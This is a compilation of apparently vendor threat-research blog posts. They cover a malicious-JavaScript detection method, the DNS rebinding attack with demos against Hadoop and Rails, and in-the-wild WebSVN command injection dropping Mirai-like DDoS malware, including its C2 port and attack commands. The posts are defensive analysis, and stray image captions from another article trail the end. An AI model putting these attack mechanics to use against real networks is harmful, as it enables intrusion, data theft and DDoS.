Machine learning in security has a major challenge – it can't make mistakes. A mistake in one direction can lead to a risky slip of malware falling through the cracks. A mistake in the other direction causes your security solution to block good traffic, which is exorbitantly expensive for cybersecurity companies and a massive headache for consumers. In general, the amount of good (benign) traffic vastly outnumbers the amount of malicious traffic. Thus, minimizing errors on good traffic (called false positives) is key to building a good solution that makes few mistakes. Malware authors understand this and try to disguise their malicious code to look more like benign code. The most straightforward way to accomplish this is what’s known as an "append" attack (also known as an injection or bundling), wherein an attacker takes a (typically large) amount of benign content and injects malicious content into it. Since machine learning classifiers built with standard techniques are sensitive to their presence, the benign content added by benign append attacks can perturb a classification away from a positive malware verdict, sometimes causing the classifier to miss it entirely.
Our study, “Innocent Until Proven Guilty (IUPG): Building Deep Learning Models with Embedded Robustness to Out-Of-Distribution Content,” which we presented at the 4th Deep Learning and Security Workshop (co-located with the 42nd IEEE Symposium on Security and Privacy), proposes a generic prototype-based learning framework for neural network classifiers designed to increase robustness to noise and out-of-distribution (OOD) content within inputs. In other words, that study addresses a broader issue than the problems of machine-learning classifiers aiming to identify malware. However, the original motivation to create the Innocent Until Proven Guilty (IUPG) learning framework was to overcome append attacks on malware classifiers. Here, we illustrate IUPG by placing it firmly in the context of how it can be used to identify malware.
In the following sections, we provide more detail about benign append attacks and how they can be successful against even highly accurate classifiers, and how IUPG specifically addresses the issue. We provide the results of our experiments with IUPG and how it fits in with existing work. We close with examples of how Palo Alto Networks uses IUPG-trained models to proactively detect malicious websites, and, in particular, JavaScript malware on web pages.
Palo Alto Networks Next-Generation Firewall customers who use Advanced URL Filtering, DNS Security, and WildFire security subscriptions are better protected against benign append attacks through the use of IUPG.
What Is a Benign Append Attack?
Classification is an essential task in both machine learning and human intelligence. The idea is to correctly classify data points into a predefined set of possible classes. Malware classification is one common classification problem in which each input sample must be classified as either benign or malicious. A pervasive and largely unsolved problem in the space of deep learning-based malware classification is the tendency of classifiers to flip their verdict when malicious content is concatenated with benign content or even random noise. Content may be appended, prepended or injected somewhere in the middle, but the attack type is most often presented in the case of appends. Each of the three possibilities presents a similar challenge for a classifier. Thus, we treat them the same.
Figure 1. Visual explanation of a benign append attack. “M” refers to malicious and “B” refers to benign.
This attack type is often seen in the real world in the form of benign library injections. In that case, malicious code is injected into a large benign file. Again, the challenge for a malware classifier remains the same: It must pick out the “needle in the haystack” of malicious code while properly ignoring benign content despite its relative volume. Classifiers that are built to recognize and use features that correspond to the benign class as depicted in the training set will struggle with this task.
Our results suggest this attack is significantly successful against even highly accurate classifiers. Our deep learning JavaScript malware classifiers, built with categorical cross-entropy (CCE) loss, achieve well over 99% accuracy on our test set. Despite this, it took just 10,000 characters of random benign content appended onto malicious samples to successfully flip the verdict >50% of the time. This is particularly concerning given the extremely low cost of leveraging the attack. The adversary does not need to know any details about the victim classifier. At the same time, benign content is extremely plentiful and trivial to produce. If the adversary has access to sensitive information about the victim model, such as its loss function, the appended content can be designed with model-specific techniques, which generally increase the success rate further.
How Is Deep Learning Supposed to Overcome This?
In theory, to solve this problem perfectly, all content that is not directly indicative of malware must have a small enough impact on a classification mechanism such that a verdict will never be flipped to benign. At a high level, the approach we take is to encourage a network to exclusively learn and recognize uniquely identifiable patterns of the malicious class while being explicitly robust to all other content. An important observation is that malware patterns are highly structured and uniquely recognizable compared to the limitless possible benign patterns you can encounter in data (illustrated in Figure 2).
Figure 2. A visual argument explaining malicious versus benign class structure.
A key innovation of IUPG is to differentiate classes with and without uniquely identifiable structures (patterns) in their usage for learning. Here, the malware class has uniquely identifiable structures (we call it a “target” class), while the benign class is inherently random (we call it the “off-target” class). The IUPG learning framework is specifically designed to learn the uniquely identifiable structures within target classes. Off-target data helps to chisel down those learned features of target classes to that which is truly inseparable. This is all in an attempt to shrink the overall receptive field of a neural network (i.e. data patterns that are sensitive exclusively to malicious patterns). If no malicious patterns are found, only then is a benign verdict produced. This is to say, an unknown file is innocent until proven guilty.
Conventional, unconstrained learning is free to utilize benign patterns in the training data, which ultimately confers no information about the safety of a file as a whole. Owing to the near limitless breadth of possible benign patterns, we hypothesize these features of the benign class are unlikely to be useful outside of your train, validation and test splits (which often share the sampling strategy). At worst, they teach the classifier to be sensitive to benign content – leading to successful append attacks.
How Does IUPG Overcome Benign Append Attacks?
All the IUPG learning framework components are built around an abstracted network, N (pictured in Figure 3). Please reference our study for an in-depth explanation of each component.
Figure 3. Illustration of all IUPG components augmented onto the abstract network, N.
The IUPG learning framework helps to build networks that are able to perform classification in a new way that, among other things, helps to prevent successful benign append attacks. With IUPG, we are specifically concerned with classification problems that feature mutually exclusive classes, meaning each data point belongs to one class only. In short, both an input sample and a library of learned prototypes are processed by an IUPG network with each inference. The prototypes are learned to encapsulate prototypical information about a class. They act as a representative input of a class of data such that all members of that class share an exclusive commonality. Samples and prototypes are mapped by the network to an output vector space paired with a specially learned distance metric. IUPG networks learn the prototypes, the variables of the network and the distance metric, such that the output vector space orients all entities as pictured in Figure 4.
Figure 4. Illustration of the ideal output vector space with IUPG.Figure 5. Illustration of how IUPG loss operates on inputs that are mapped to the output vector space.
In the ideal mapping, class members and their assigned prototype(s) map uniquely to a common point(s) with a margin of space such that any possible input that isn’t a member of the class maps somewhere else. If a mapped sample is measured to be close enough to a prototype, it is predicted to be a member of the class to which that prototype was assigned. Pictured as a blue cloud in Figure 4, a background of noise, aka off-target data, helps to illuminate (and capture in the prototypes) what is truly inseparable about the target classes. IUPG can still be built without off-target data. We report stable or increased classification performance with several public datasets of this variety. However, certain problems with one or more structureless or inherently random classes are a natural fit to make use of this feature.
Figure 6. Illustration of pushing and pulling forces in the output vector space with multiple prototypes per target class.
In deep learning, a network’s loss function is used to calculate the error of a given model. Lower values of the loss function define what is the desired behavior compared to higher values. Minimizing a loss function (called training) updates the variables in the network to produce a lower loss value. Minimizing IUPG loss encourages the ideal mapping (illustrated in Figure 4) by orchestrating pushing and pulling forces between samples and every prototype in the output vector space, as illustrated in Figure 5. Note that off-target samples are pushed away from every prototype. Refer to our study for the full details on the mathematical structure of IUPG loss. As illustrated in Figure 6, when more than one prototype exists for a target class, we only operate on the closest prototype for that target class, as determined by the given distance metric.
Coming back to the question of classifying a sample as malware or benign, we specify several prototypes for the malicious class while defining the benign class as off-target. It is hopefully clear now why it is imperative to learn the uniquely identifying patterns of malware while encoding robustness to benign content. In the ideal case, the network exclusively captures the inseparable features of malware families, such that their activation is as strong an indicator of malware as possible and no other features lead to significant activation. In our experiments, the network and prototypes learn to recognize complex, high-level combinations of patterns that generalize across malware families and even orphan cases, yet still retain robustness to benign activation.
Below is a real-world example of the output vector space for a multiclass JavaScript malware family classifier, post-training. The network was trained to recognize nine different JavaScript malware families (listed in the legend), along with the off-target benign class. Each of the nine target malware family classes is grouped tightly around a single assigned prototype, while benign data is mapped more arbitrarily toward the center. This visualization was produced by using t-SNE on the mapped representations of validation data and the prototypes in the output vector space.
Figure 7. A plot of the output vector space of a multiclass JavaScript classifier, after training was completed. Prototypes are denoted with gray circles.
What Are the Experimental Results?
In our study, we explore multiple effects of using IUPG compared to the conventional CCE loss function. Note that all these effects are logically connected to the concept of building a network with increased embedded robustness to out-of-distribution (OOD) content. These are:
Stable or increased classification performance across an interdisciplinary variety of datasets and models. We hypothesize that this is primarily provided by building a network that is explicitly robust to noise. The prototyping mechanism also naturally deters the network from overfitting on small facets of training data samples.
Up to 50% decreased false-positive responses on synthetic noise and, more generally, OOD content. We hypothesize this is primarily provided by stricter, more “airtight” models of structured classes that are more robust to accidental activation on stray content.
Decreased performance loss due to recency bias in the presence of distributional shift. We hypothesize this is primarily due to defining the benign class as the off-target class. This builds a model that is less sensitive to distributional shifts in the benign class.
Decreased vulnerability to some noise-based adversarial attacks. Similar to what is mentioned above, we hypothesize this is primarily due to lessened activation on and modeling of the benign class. For our benign append attack simulations, the networks trained with IUPG flip their verdict up to a full order of magnitude times less than the network trained with CCE.
Please refer to our study for a thorough breakdown of these results and more. In particular, we also consider the opportunity to combine IUPG with existing adversarial learning and OOD detection techniques. We discover favorable performance upon the use of IUPG compared to conventional techniques. We want to emphasize this combinatory potential. We feel that this is the strongest path toward successfully thwarting real-life attacks on malware classifiers in future work.
Examples of Live IUPG Detections in Palo Alto Networks Products and Services
Palo Alto Networks uses IUPG-trained models to proactively detect malicious websites, and, in particular, JavaScript malware on web pages. From mid-April to mid-May, we detected over 130,000 malicious scripts and flagged over 240,000 URLs as malicious. Palo Alto Network customers attempted to visit those URLs at least 440,000 times, but were protected by Advanced URL Filtering.
Among others, we do see many cases of malicious redirectors or droppers injected into benign JavaScript on compromised websites. Those are usually small pieces of code that use various obfuscation techniques to hide the code intent from signature analysis or inspection by a human. Benign libraries are often minimized, which makes it hard to separate the malicious piece automatically. We’ve found that IUPG does a notably good job of it.
Attackers leverage the append attack technique either by injecting malicious scripts into popular JavaScript libraries (Figures 8 and 9) or by adding more white spaces (Figure 10). Popular choices for injection among attackers are various jQuery plugins and custom bundled files with website dependencies.
Figures 8a and 8b show a good illustration of why signature or hash matching is not enough and we have to deploy advanced machine learning and deep learning models to protect against “patient zero” malicious scripts. Both 8a and 8b are examples of the same malicious campaign, which is hard to catch as it generates many unique scripts and uses different obfuscation techniques for the injected piece. While the SHA256 of 8b was already known to VirtusTotal at the time of writing, the SHA256 of 8a, was new – in other words, previously undetected.
Figure 8a. One example of a malicious campaign that injects malicious redirectors into a large jQuery Easing library. Two malicious injections are shown prepended to the file. Usually, such malicious scripts are observed on URL paths mimicking legitimate jQuery (wp-content/themes/marchie/js/jquery.easing.1.X.js?ver=1.X). SHA256: a248259f353533b31c791f79580f5a98a763fee585657b15013d1bb459734ba8Figure 8b. One example of a malicious campaign that injects malicious redirectors into a large jQuery Easing library. Two malicious injections are shown prepended to the file. Usually, such malicious scripts are observed on URL paths mimicking legitimate jQuery (wp-content/themes/marchie/js/jquery.easing.1.X.js?ver=1.X). SHA256: cf9ac8b038e4a6df1c827dc31420818ad5809fceb7b41ef96cedd956a761afcdFigure 9. Malware injection mixed in a file with the legitimate Sidr and Superfish jQuery plugins. SHA256: a7007a7b89e5114cd1b532e5bcdaa1dfbe8b0c50ad30c3dbb4eb8fbfec18a746Figure 10. Malware injection with added white spaces and paddings aiming to fool machine learning classifiers. SHA256: e25953bd6701d196fc7f372476db2ce8b1c80a2714ca7fc075073609f0d0f919
In addition to redirectors and droppers, IUPG is efficient in detecting JavaScript malware, such as phishing kits, clickjacking campaigns, malvertising libraries or exploit kits. For example, a similar script as the one shown in Figure 11 was found on over 60 websites, such as regalosyconcurso2021.blogspot.{al, am, bg, jp, com, co.uk}. Note that the script is using heavy obfuscation techniques, but can nevertheless be accurately detected by an IUPG-trained model.
Figure 11. Obfuscated phishing JavaScript in HTML that generates a fake social media login page. SHA256: 3b3dcd8fbf6b359d4d72573441583712f259b54d6a2b59a15f50178fbf0567f5
Conclusion
We’ve introduced the Innocent Until Proven Guilty (IUPG) learning framework, explained how it’s designed to overcome the benign append attack, summarized results from our study presented at the 4th Deep Learning and Security Workshop and shared some interesting examples of using IUPG on real-world traffic. Palo Alto Networks continues to improve state-of-the-art malicious JavaScript detection. Our Next-Generation Firewall customers who use Advanced URL Filtering, DNS Security, and WildFire security subscriptions are better protected against benign append attacks through the use of IUPG.
Web-based consoles are widely adopted by management software and smart devices to provide interactive data visualization and user-friendly configuration. This is gaining momentum as enterprises' computer systems become more complex and more modern internet of things (IoT) devices are used at home. These web applications are usually located in internal environments or private networks protected by firewalls. Therefore, they usually have a high trust level for visitors. They typically assume all visitors are authorized and thus expose sensitive information or provide administrator privileges without strong application-level protection.
Although the web services in private networks are supposed to be isolated from the internet and the same-origin policy prevents arbitrary websites from interacting with internal servers, hackers can still take advantage of web-based consoles to exploit internal networks by abusing the domain name system (DNS) through a technique called DNS rebinding. This technique can expose the attack surfaces of internal web applications to malicious websites once they launch on victims' browsers.
In this blog, we present the mechanism and severity of the DNS rebinding attack with penetration examples. After that, we introduce the mainstream mitigations against this attack and their limitations.
Palo Alto Networks has launched a detector to capture DNS rebinding attacks from our DNS Security and passive DNS data. Our system provides scalable detection for various DNS rebinding payloads and reduces the false discovery rate by 85.09% compared to the traditional IP filtering solution. It ingests the DNS data in real time to identify penetration activities as soon as possible.
Allowing arbitrary cross-origin requests is known to be extremely dangerous. Therefore most modern browsers block these requests. However, DNS rebinding provides a way to bypass this restriction. This section introduces the importance of the same-origin policy and how the DNS rebinding technique works.
Same-origin Policy
Web applications usually require various resources such as JavaScript, images and CSS to render web pages. A web page can obtain these resources from the same server as itself or from different origins. Requesting cross-origin resources enables an application to benefit from shared resources such as third-party script libraries. However, allowing a website to access resources from arbitrary origins can be a disaster. Without access control, a malicious web page can abuse the trust granted to a legitimate user and send unauthorized requests to a critical web application on that person’s behalf. This exploit is known as cross-site request forgery (CSRF).
Modern browsers enforce the same-origin policy to mitigate this threat. This policy forbids a script from reaching web resources from different origins. Under this policy, a web page can still load cross-origin resources in its HTML tags. For example, it can embed an iframe showing third-party advertisements. However, malicious websites can't read the response content of cross-origin requests through scripts.
DNS Rebinding
The same-origin policy identifies different origins with the combination of URI scheme, hostname and port. Among these components, browsers rely on hostnames to recognize different servers on the internet. However, hostnames are not directly bound to network devices. Instead, they are resolved to IP addresses by DNS. Then, IP addresses bind to devices statically or dynamically. Since domain owners have complete control of their DNS records, they can resolve their hostnames to arbitrary IP addresses. The DNS rebinding attack abuses this privilege. After the victims' browsers load the attacking payloads from the hacker's server, attackers can rebind their hostnames to internal IP addresses pointing to the target servers. This allows attackers’ scripts to access private resources through malicious hostnames without violating the same-origin policy.
Figure 1. Mechanism of DNS Rebinding.Figure 1 demonstrates the mechanism of a DNS rebinding attack with a hypothetical example. In this example, the victim, Alex, has a private web service in his internal network with IP address 192[.]0.0.1. This server contains confidential data and is supposed to be accessed by Alex's computer only. On the attack side, Bob controls two servers: a DNS resolver (1[.]2.3.4) and a web server (5[.]6.7.8) hosting the malicious website. In addition, Bob registers a domain, attack[.]com, with its nameserver (NS) record pointing to 1[.]2.3.4.
When Alex opens attack[.]com in his browser, it sends a DNS request to Bob's resolver and retrieves the address of the malicious server, 5[.]6.7.8. Once loaded in Alex's browser, the malicious script in Bob's website attempts to trigger another DNS resolution for its own domain. However, this time the resolver will return 192[.]0.0.1 instead. So attack[.]com is rebound to the target IP address. After that, the malicious script can keep sending requests to attack[.]com, which eventually reach the private server. Since Alex's browser won't recognize these requests as cross-origin, the malicious website can read the returned secrets and exfiltrate stolen data as long as it's open on the victim's browser.
DNS Rebinding in Real-World Attacks
Using DNS rebinding, attackers can abuse victims' browsers as their proxy to extend the attack surface to private networks. This technique significantly increases the potential vulnerabilities exposed to hackers as more web applications launch on enterprise and home networks. In addition, the default trust level of internal service is high. Therefore, DNS rebinding can play a pivotal role in real-world attacks combining various penetration techniques and vulnerability exploits. This section demonstrates how it's involved in practical penetration with Singularity, an open-source DNS rebinding platform.
Private Network Penetration With DNS Rebinding
The initial step of the DNS rebinding attack is the same as other web-based attacks: tricking victims into opening malicious websites through various social engineering techniques such as sending phishing emails and cybersquatting.
Figure 2. The result of internal network scanning by Singularity.
After launching malicious websites on victims' browsers, hackers need to identify the private IP addresses and ports that host vulnerable services before executing the DNS rebinding attack. The attacking websites can scan the open web services in local networks with the WebRTC technique. Singularity implements a more straightforward strategy: directly send out cross-origin requests and measure how long it takes to receive error messages. If the requested server exists, the exception will be raised more quickly. Figure 2 shows how Singularity performs when scanning our experimental environment. It recognizes the internal services hosted on 10[.]0.0.6:80 and 10[.]0.0.6:8080 in seconds. This step exposes the available targets for DNS rebinding. Through the open ports, attackers can also infer what web applications are behind these IP addresses and whether they are vulnerable.
After locating the target services, the attacker's website can perform the DNS rebinding attack in its iframe. The first request retrieves the rebinding payload from the malicious hostname. This attacking script will keep triggering repeated resolution for its hostname until it rebinds to the target IP address. Then the iframe can keep communicating with the internal service without the victim's awareness.
In real-world attacks, one of the potential targets of DNS rebinding is network infrastructure devices with HTTP-based consoles. For example, personal routers could be vulnerable to the attack. Many of them are set up with default configuration and weak passwords. This means that would-be penetrators can easily guess their IP addresses and rebind malicious hostnames to them. After the attackers enter the network configuration panels, they could sniff the network packages in the victim's network, perform denial of service (DOS) attacks and hijack the traffic.
Figure 3. Trend of DNS rebinding-related CVEs.
Another kind of threat comes from smart devices, which are all around many homes and offices nowadays. Besides web-based consoles, DNS rebinding can target other Restful APIs and Universal Plug and Play protocols (UPnP) servers exposed to internal networks by modern IoT devices. These APIs are reserved for function implementation or maintenance. However, some of them lack enough protection against DNS rebinding. Once attackers compromise victims' browsers and rebind their hostnames to the target IP address, these services provide them certain privileges such as network scanning, exfiltrating sensor data and remote control without any authentication. DNS rebinding vulnerabilities have been found on multiple smart devices of high-profile companies including Google Home, Sono WiFi Speaker and Roku. As shown in Figure 3, there has been at least one CVE record related to DNS rebinding each year since 2015. The number of related CVEs has increased significantly since 2018.
Figure 4a. Target internal web application (Hadoop interface) rendered on victim’s browser.Figure 4b. Attacker’s website rendered on victim’s browser.Figure 4c. Target internal web application rendered on attacker’s browser.
For enterprises, internal management web applications are critical. They host confidential information and provide system management capabilities to administrators. Therefore, it's extremely dangerous having a DNS rebinding website running on a machine within company networks.
Here, we launch a DNS rebinding attack on our simulated environment to illustrate the risk. The target internal web application is an internal Hadoop web interface. As shown in Figure 4a, the victim can visit this UI with URL 10[.]0.0.6:8088/cluster and check the cluster status while it's not available externally. Figure 4b shows the rebinding request triggered by the attacker's website on the victim's browser. In this experiment, the malicious hostname is s-54.183.63.248-10.0.0.6-1609933722-fs-e.dynamic.dns-rebinding-attack[.]com. The HTTP request to the hostname was actually sent to 10[.]0.0.6, and it received the successful status code. After this, the attacker can use the victim's browser as a tunnel and directly interact with the target service. As shown in figure 4c, the attacker can obtain the same information that the victim can access from the Hadoop cluster through the malicious domain. Besides stealing information, the attacker also has the privilege to kill running jobs on the management page. As we saw in this example with Hadoop, many widely used development and management platforms could be exposed to threat actors equipped with DNS rebinding if not protected correctly.
Cross-origin Request Forgery Protection Bypass
Besides simply tunneling traffic for attackers, malicious websites can use the DNS rebinding technique to bypass token-based CSRF protection. While DNS rebinding hides the cross-origin traffic, CSRF directly sends cross-origin requests to take advantage of the target server's trust for the victim. CSRF is a well-known threat, and many web applications have implemented defenses against it. One mainstream protection strategy embeds a unique token to the initial response page. All the following requests need to be sent with this token to be accepted by the server. This solution is based on the same-origin restriction, which prevents malicious websites from reading the response content of cross-origin requests. Since attackers can't obtain the token from the response, they have no chance of sending out valid cross-site requests.
Figure 5. Target internal web application rendered on attacker’s browser.
However, browsers won't notice any cross-origin request under the DNS rebinding attack. This means they will allow malicious scripts to obtain the CSRF token from the initial responses and use it for follow-up request forgery.
We launched the remote command execution (RCE) payload of Singularity in our simulation environment to demonstrate this threat. This attack targets Rails, a web development framework written in Ruby. One of its reserved PUT APIs allows the requester to run arbitrary system commands on the server. Similar to the CSRF token, this API requires the visitor to generate the request URL with a dynamic session ID (the string marked in red in Figure 5), which is embedded on the main page. The web application will generate a new token on the fly and map one to each session. It's impossible to predict the valid API endpoint without reading responses from the server. However, the Singularity RCE payload can obtain the token from the index page after executing DNS rebinding. In the demo, we let the malicious site print the stolen session ID to the browser console. Then it successfully constructed the desired URL and used the vulnerable API to execute an arbitrary command on the server-side, which displays a "Hello from rebinding test" message on the server terminals. After the Singularity team published this exploit, Rails enforced server-side mitigation to validate the host field of all incoming requests.
DNS Rebinding Protection
Various strategies attempt to mitigate the DNS rebinding attack in each related network component. In this section, we introduce different defense mechanisms and their limitations. After that, we will present the basic idea of our DNS rebinding detector and its advantages.
Browser-based Mitigation
Modern browsers such as Chrome and Firefox have implemented the DNS pinning technique to defend against the DNS rebinding attack. This strategy forces the browser to cache the DNS resolution results for a fixed period regardless of the DNS records' time-to-live (TTL) value. Consequently, malicious websites can't rebind their hostnames by making repeated DNS requests within this period. This protection is convenient because it can be implemented in browsers without changing any other network infrastructure. However, it can only effectively block the time-varying attack, which is a traditional implementation of the DNS rebinding attack. In this implementation, the attackers assign an extremely low TTL to the DNS record of malicious hostnames. After being loaded in the victim's browser, the rebinding script waits for the record expiration and then sends a request to its hostname, expecting the browser to resolve it again and get the target IP address back. In this scenario, the DNS pinning technique ignores the low TTL and still uses the same result for the second request.
However, there are multiple ways to bypass DNS pinning protection. A simple way is to design the malicious script to send requests repeatedly until the browser cache expires. Then the malicious hostname will rebind to the target IP address. Then, the attacker's website can receive the expected response from the target service.
Figure 6. Mechanism of multiple A-records attack.A more sophisticated implementation called multiple A-records attacks can achieve DNS rebinding more stably and efficiently even with DNS pinning protection. Figure 6 presents the attacking procedures. In this case, the DNS behavior is different from the traditional attack: The victim's browser only resolves the malicious hostname once. But both the attacker's and the target's IP address are returned. When the malicious script sends the second request, the browser will try the public IP address first. But the attacker's web server remembers the victim's IP address and blocks the incoming traffic by firewall. This request failure forces the victim's browser to communicate to the private IP address and complete the DNS rebinding procedure.
DNS-based Mitigation
Another type of mitigation focuses on the DNS resolution stage. The secure DNS service, OpenDNS, drops the DNS responses pointing to RFC 1918 and loopback IP addresses. DNS caching software such as Dnsmasq and Unbound also implement similar filtering policies for private IP addresses.
This strategy is also a centralized protection solution, but it still has limitations. First of all, not all the secured DNS services have blocked the complete list of IP addresses pointing to private services. For example, the non-routable IP address 0[.]0.0.0 can represent the IP addresses of the local machine and can be targeted by a DNS rebinding attack. However, multiple filtering policies have missed it. Besides the private IP addresses, attackers can rebind their hostnames to internal hostnames with CNAME records. The victims' internal resolvers or their machines will finish the resolution to private IP addresses for the attackers. For example, a malicious hostname can be rebound to localhost. Then all following traffic will reach the local service. In summary, IP-based filtering fails to protect against all types of DNS rebinding attacks.
Furthermore, filtering out all private IP addresses could cause many cases of blocking false positives. We observed that some legitimate services present similar DNS resolution behaviors as DNS rebinding. For example, some IoT services rely on hostnames to direct traffic within private networks. This means their hostnames are resolved to internal IP addresses only and can be mistakenly blocked by this solution. Besides, some benign hostnames also resolve to both public and private IP addresses that violate this protection policy. For example, public services could have mirror servers in the maintainers' networks for continuous development and traffic optimization. Their hostnames have public A records pointing to public and private IP addresses. In these cases, the maintainers will talk to the internal server while the public server handles other traffic.
We measure the hostnames resolved to internal IP addresses in passive DNS data to quantify the impact of false blocking. In June 2021, 8.99% of total active hostnames pointed to private IP addresses. DNS-based mitigation would block all of their traffic. However, 99.84% of these hostnames never point to any public IP, which means they don't present the complete DNS rebinding behavior and shouldn't be blocked. The false discovery rate for DNS traffic of this mitigation is 85.09%.
Server-based Mitigation
Defenses on the web applications side can block DNS rebinding effectively. One of the solutions is implementing HTTPS communication on all private services. The HTTPS handshake stage requires the correct domain to validate the SSL certificate. During a DNS rebinding attack, browsers think they are communicating to the malicious domains while the SSL certificates from the internal servers are for different domains. Therefore, the attacking scripts can't establish SSL connections to the target services. Alternatively, implementing authentication with strong credentials on all private services is also effective. With this application-level protection, even if attackers launch DNS rebinding successfully, they can't access confidential information.
However, this kind of mitigation depends on the developer of internal services. This means it is not scalable. As third-party web applications populate in both home and enterprise environments, it's more difficult for the network owners to enforce protection to all potentially vulnerable servers. Meanwhile, threat hunters keep digging DNS rebinding vulnerabilities from third-party web applications – such as the Rails console RCE exploit mentioned in the previous section.
Real-time DNS Rebinding Detection
As our DNS Security service monitors our customers' DNS traffic to provide real-time protection, we have the opportunity to enforce sophisticated signatures to recognize the abnormal DNS query pattern of the DNS rebinding attack. We launched a detection system consuming DNS Security and passive DNS data to capture the indicators of compromise (IOCs) of ongoing rebinding attacks. The detector tracking DNS Security traffic can identify and deliver malicious hostnames in real time.
Our system aims to capture the sequential DNS resolution pattern instead of relying on isolated DNS responses. Its detection logic can identify DNS rebinding with high confidence while allowing hostnames that resolve to internal IP addresses only for legitimate usage. Besides the high detection accuracy, our system can cover all the varieties of DNS rebinding attacks mentioned previously, including time-varying, multiple A-records and CNAME-based attacks. Apart from attacks targeting internal IP addresses and localhost, it also recognizes malicious hostname rebinding to the internal hostnames of our customers.
Behind the detection module, we aggregate multiple layers of legitimate usage filters to prevent false positive detection. As mentioned above, many innocent hostnames could present similar resolution behavior as the DNS rebinding attack. It's hard to differentiate them from malicious hostnames without additional information. Our filters combine external knowledge such as passive DNS traffic, WHOIS records and customer feedback to exclude customers' internal hostnames and other benign services.
Conclusion
The DNS rebinding attack can compromise victims' browsers as traffic tunnels to exploit private services. With this technique, attackers can steal confidential information and send forged requests to victims' servers. Browsers, resolvers and web applications have applied various protection strategies to defend against it. However, there are advanced exploits that can bypass traditional defenses. In addition, it's harder to enforce complete protection as the internal network environment becomes more complex.
At Palo Alto Networks, we have launched a DNS rebinding detection system to protect our customers. It can effectively identify various implementations of DNS rebinding that leverage multiple types of DNS records and present different resolution behaviors. The system's filtering module can identify legitimate usage of internal IP resolution to prevent false blocking. After capturing potential penetration activities, our system will release the attacking hostname with the command and control category to Palo Alto Networks Next-Generation Firewall security subscriptions in real time.
Acknowledgments
Special thanks to Laura Novak and Daiping Liu for their help with improving the blog.
We have observed exploits in the wild for a recently disclosed command injection vulnerability affecting WebSVN, an open-source web application for browsing source code. The critical command injection vulnerability was discovered and patched in May 2021. A proof of concept was released and within a week, on June 26, 2021, attackers exploited the vulnerability to deploy variants of the Mirai DDoS malware. We strongly recommend that WebSVN users upgrade to the latest software version.
Like many source code browsing tools, WebSVN allows users to search through the revision history to find relevant code changes. These search requests are made by sending a query to the backend, which is written in PHP.
Figure 1. The user’s input is read from the “search” parameter in search.php.
In versions of WebSVN prior to 2.6.1, the user’s search query is not escaped when it is used in a shell command. Inside include/svnlook.php the function getListSearch is responsible for creating the shell command by concatenating the search query with command arguments.
Figure 2. The SVN command is created by concatenating it with the search query.
A function called runCommand inside include/command.php finally executes the command by passing it to PHP’s proc_open function. The documentation for this function contains the following warning regarding the command parameter:
Figure 3. PHP documentation.
Without properly escaping the user’s input, it is possible to achieve code execution by including special characters in the search query. To fix this vulnerability, the code was changed to sanitize the user input with escapeshellarg before concatenating it to the other command arguments.
Figure 4. Vulnerability patch.
Another possible solution is to allow proc_open to automatically escape and quote the command by passing an array of strings as the first argument. This approach might be considered more concise and easier to maintain. However, it would have required making bigger changes to the existing code, and it is not compatible with older versions of PHP, which is likely the reason this solution was not chosen.
Figure 5. Hypothetical code for safely running the shell command.
Exploitation in the Wild
Shortly after CVE-2021-32305 was made public, Unit 42 researchers observed attackers exploiting it in the wild. One example of an attack is shown here:
Figure 6. HTTP request.
The attacker uses command injection to download a shell script that will infect the system with malware. When abusing these types of web vulnerabilities, some important details about the target environment may be unknown to the attacker. These details include the operating system and processor architecture that the web server is running. The shell script used in the next step of the attack shows how the attacker can overcome this issue:
Figure 7. Shell script
Malicious Linux binaries are provided for 12 different architectures. Instead of detecting which one is correct for the target environment, a brute force approach is taken. The script simply downloads and attempts to execute the binaries for every one of the possible architectures, disregarding any incompatibility errors. Although WebSVN is a cross-platform PHP application capable of running on many operating systems, only Linux binaries are used in this attack.
Malware Analysis
Analysis of this malware reveals that it is used to perform distributed denial of service (DDoS) attacks and that it shares some of its code with the Mirai botnet family. To reduce the size of the executable files, each one is compressed with a modified version of the popular open-source packer, UPX. Because the packer is modified, it is less likely for reverse engineering tools to succeed in automatically unpacking the executable files, requiring more manual effort for analysis. Additionally, the malware achieves portability by statically linking all of its dependencies and making system calls directly inside the code.
After the malware is executed, it continuously tries to connect to its command and control (C2) server on port 666. Once it establishes a connection, it communicates using a custom text-based TCP protocol. It begins by informing the C2 of its architecture, and then it awaits commands from the operator.
Figure 8. Main loop for processing C2 commands.
The main purpose of this malware family is to perform DDoS attacks, and the effectiveness of an attack depends on the network protocols and techniques that are used. In the analyzed sample, there are eight types of attacks, each designed to be effective against a different type of target. The following table shows the commands the malware operator can send to initiate each one.
Command
Protocol
Description
OVHHEX
UDP
Targets servers hosted by OVH, a French cloud computing company.
UDPBYPASS
UDP
Attempts to bypass network mitigations by sending crafted packets at calculated time intervals.
NFOHEX
UDP
Floods the target with randomly generated hex-encoded data.
STD
UDP
Randomly sends packets from a list of three predefined payloads.
VSE
UDP
Targets game servers built with Valve Source Engine.
TCP
TCP
General attack for TCP-based protocols.
SYN
TCP
Sends SYN packets to imitate a TCP connection request.
ACK
TCP
Sends ACK packets to imitate acknowledgement messages.
Table 1. DDoS methods.
Conclusion
We observed exploits in the wild for a recently disclosed command injection vulnerability affecting WebSVN. In one particular attack, the vulnerability is used to deploy DDoS malware. Attackers will continue to exploit the latest vulnerabilities to expand their army of infected devices and increase the strength of their DDoS attacks. Customers are strongly advised to upgrade to the latest software version.
Palo Alto Networks Next-Generation Firewall customers are protected by the subscriptions:
![Illustration of the workflow when a client browser visits a domain hosted on WordPress. Step I: DNS Resolution for blog.mydom[.]com; includes sub-steps: 1 - DNS query, 2 - DNS Zone of mydom[.]com, 3 - DNS Zone of wordpress[.]com, 4 - DNS response; Step II: HTTP connection to WordPress where blog.mydom[.]com is hosted, includes substep: 5) Host blog.mydom[.]com - virtually hosted by (claimer).wordpress[.]com, which could be legitimate or claimed by an attacker.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/09/word-image-42.png)
![WHOIS data of cloudlfare[.]net, showing that the domain was registered about two months after the dangling DNS record was created.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/09/word-image-45.png)
![The diagram demonstrates the mechanism of a DNS rebinding attack with a hypothetical example. In this example, the victim, Alex, has a private web service in his internal network with IP address 192[.]0.0.1. This server contains confidential data and is supposed to be accessed by Alex's computer only. On the attack side, Bob controls two servers: a DNS resolver (1[.]2.3.4) and a web server (5[.]6.7.8) hosting the malicious website. In addition, Bob registers a domain, attack[.]com, with its nameserver (NS) record pointing to 1[.]2.3.4.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/08/word-image-62.png)
